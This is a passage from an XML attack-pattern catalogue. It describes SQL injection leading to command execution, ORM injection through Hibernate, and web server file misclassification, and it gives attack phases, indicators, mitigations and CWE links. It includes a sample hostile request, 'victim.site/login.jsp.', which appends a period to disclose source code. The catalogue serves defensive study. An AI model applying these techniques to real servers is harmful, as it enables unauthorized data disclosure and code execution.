							arbitrary SQL commands via the (1) second or (2) third arguments to
							cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands
							since the SQL query results are later used in the polling_items array
							and popen function (CVE-2006-6799).</Text>
						<Text>Reference:
							http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6799</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker most likely has to be familiar with the internal
							functionality of the system to launch this attack. Without that
							knowledge, there are not many feedback mechanisms to give an attacker
							the indication of how to perform command injection or whether the attack
							is succeeding.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized resources are required</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Disable MSSQL xp_cmdshell directive on the database</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Properly validate the data (syntactically and semantically) before writing
						it to the database.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not implicitly trust the data stored in the database. Re-validate it
						prior to usage to make sure that it is safe to use in a given context (e.g.
						as a command line argument).</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>78<!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>114<!--Process Control--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>248<!--Command Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Validate all data syntactically and semantically before writing it to the
						database</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Do not implicitly trust database data and validate it to ensure that it is
						safe in the context in which it is being used</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="109" Name="Object Relational Mapping Injection"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker leverages a weakness present in the database access layer code
						generated with an Object Relational Mapping (ORM) tool or a weakness in the
						way that a developer used a persistence framework to inject his or her own
						SQL commands to be executed against the underlying database. The attack here
						is similar to plain SQL injection, except that the application does not use
						JDBC to directly talk to the database, but instead it uses a data access
						layer generated by an ORM tool or framework (e.g. Hibernate). While most of
						the time code generated by an ORM tool contains safe access methods that are
						immune to SQL injection, sometimes either due to some weakness in the
						generated code or due to the fact that the developer failed to use the
						generated access methods properly, SQL injection is still possible.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine Persistence Framework
											Used</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker tries to determine what persistence
												framework is used by the application in order to
												leverage a weakness in the generated data access
												layer code or a weakness in a way that the data
												access layer may have been used by the
												developer.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker provides input to the
												application in an attempt to induce an error
												screen that reveals a strack trace that gives an
												indication of the automated data access layer
												used. Or an attacker may simply make some educated
												guesses and assume, for instance, that Hibernate
												is used and try to craft an attack from
												there.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for ORM Injection
											vulnerabilities</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects ORM syntax into
												user-controllable data inputs of the application to
												determine if it is possible modify data query
												structure and content.</Text>
										</Attack_Step_Description>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an error message from
												server indicating that there was a problem with
												the data query.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Perform SQL Injection through the
											generated data access layer</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker proceeds to exploit a weakness in the
												generated data access methods that does not properly
												separate control plane from the data plan, or
												potentially a particular way in which developer
												might have misused the generated code, to modify the
												structure of the executed SQL queries and/or inject
												entirely new SQL queries.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker uses normal SQL injection
												techniques and adjusts them to reflect the type of
												data access layer generation framework used by the
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												unauthorized system access, denial of service,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker unable to exploit SQL
												Injection vulnerability.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An application uses data access layer generated by an ORM tool or
						framework</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An application uses user supplied data in queries executed against the
						database</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The separation between data plane and control plane is not ensured,
						through either developer error or an underlying weakness in the data access
						layer code generation framework</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>When using Hibernate, it is possible to use the session.find() method
							to run queries against the database. This is an overloaded method that
							provides facilities to perform binding between the supplied user data
							and place holders in the statically defined query. However, it is also
							possible to use the session.find() method without using any of these
							query binding overloads, hence effectively concatenating the user
							supplied data with rest of the SQL query, resulting in a possibility for
							SQL injection. While the framework may provide mechanisms to use methods
							immune to SQL injections, it may also contain ways that are not immune
							that may be chosen by the developer.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Knowledge of general SQL injection techniques and subtleties of the
							ORM framework is needed</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized resources are required.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Provide various input to the system in an attempt to induce an error
							that would reveal stack trace information about the ORM layer (if any)
							used</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Remember to understand how to use the data access methods generated by the
						ORM tool / framework properly in a way that would leverage the built-in
						security mechanisms of the framework</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure to keep up to date with security relevant updates to the
						persistence framework used within your application.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>100<!--Technology-Specific Input Validation Problems--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>564<!--SQL Injection: Hibernate--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>66<!--SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Ensure that the ORM data access methods that are used by the application
						leverage parameter binding</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Keep it Simple</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Compartmentalization</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.owasp.org/index.php/Testing_for_ORM_Injection</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="11" Name="Cause Web Server Misclassification"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a Web server's decision to take action
						based on filename or file extension. Because different file types are
						handled by different server processes, misclassification may force the Web
						server to take unexpected action, or expected actions in an unexpected
						sequence. This may cause the server to exhaust resources, supply debug or
						system data to the attacker, or bind an attacker to a remote process.</Text>
					<Text>This type of vulnerability has been found in many widely used servers
						including IIS, Lotus Domino, and Orion. The attacker's job in this case is
						straightforward, standard communication protocols and methods are used and
						are generally appended with malicious information at the tail end of an
						otherwise legitimate request. The attack payload varies, but it could be
						special characters like a period or simply appending a tag that has a
						special meaning for operations on the server side like .jsp for a java
						application server. The essence of this attack is that the attacker deceives
						the server into executing functionality based on the name of the request,
						i.e. login.jsp, not the contents.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Footprint file input
											vectors</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Manually or using an automated tool, an attacker
												searches for all input locations where a user has
												control over the filenames or MIME types of files
												submitted to the web server.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker manually crawls application to
												identify file inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attacker uses an automated tool to crawl
												application identify file inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attacker manually assesses strength of
												access control protecting native application files
												from user control</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Attacker explores potential for submitting
												files directly to the web server via independently
												constructed HTTP Requests</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Application submits files under user control
												to the web server</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Application does not submit files under user
												control to the web server</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Application strictly protects all native
												application files from user control</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>User-controllable files are
												identified</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>File misclassification
											shotgunning</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker makes changes to file extensions and
												MIME types typically processed by web servers and
												looks for abnormal behavior.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker submits files with switched
												extensions (e.g. .php on a .jsp file) to web
												server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attacker adds extra characters (e.g. adding
												an extra . after the file extension) to filenames
												of files submitted to web server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The web server uses the wrong handler to
												execute the file, as expected by the
												attacker.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No result from the web server.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>The web server ignore the manipulation and
												process the request has it should have
												been.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Web server exhibits unexpected
												behavior.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor web server
												logs for excessive file processing
												errors</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Always validate that
												file content structure matches implicitly or
												explicitly declared file type as first step of
												processing.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>File misclassification
											sniping</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Understanding how certain file types are processed
												by web servers, an attacker crafts varying file
												payloads and modifies their file extension or MIME
												type to be that of the targeted type to see if the
												web server is vulnerable to misclassification of
												that type.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Craft a malicious file payload, modify file
												extension to the targeted file type and submit it
												to the web server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Craft a malicious file payload, modify its
												associated MIME type to the targeted file type and
												submit it to the web server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The web server uses the wrong handler to
												execute the file, as expected by the
												attacker.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No result from the web server.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>The web server ignore the manipulation and
												process the request has it should have
												been.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker's payload is acted on
												by web server.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker cannot get the web
												server to misclassify a
												file.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor web server
												logs for excessive file processing
												errors</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Always validate that
												file content structure matches implicitly or
												explicitly declared file type as first step of
												processing.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Disclose information</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker, by manipulating a file extension or
												MIME type is able to make the web server return raw
												information (not executed).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manipulate the file names that are
												explicitly sent to the server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manipulate the MIME sent in order to confuse
												the web server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the
												information from the server</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Always validate that
												file content structure matches implicitly or
												explicitly declared file type as first step of
												processing.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Web server software must rely on file name or file extension for
						processing.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>J2EE application servers are supposed to execute Java Server Pages
							(JSP). There have been disclosure issues relating to Orion Application
							Server, where an attacker that appends either a period (.) or space
							characters to the end of a legitimate Http request, then the server
							displays the full source code in the attacker's web browser.</Text>
						<Text>http://victim.site/login.jsp.</Text>
						<Text>Since remote data and directory access may be accessed directly from
							the JSP, this is a potentially very serious issue.</Text>
						<Text>Reference http://www.securityfocus.com/bid/17204/info</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To modify file name or file extension</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To use misclassification to force the Web server to disclose
							configuration information, source, or binary data</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to execute HTTP request to Web server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Server routines should be determined by content not
						determined by filename or file extension.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard Web application calls, e.g. HTTP
					Request.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. Malicious payload may alter or
					append filename or extension to communicate with processes in unexpected
					order.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network </Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to force web server to disclose configuration, source,
						and data</Text>
				</Description>
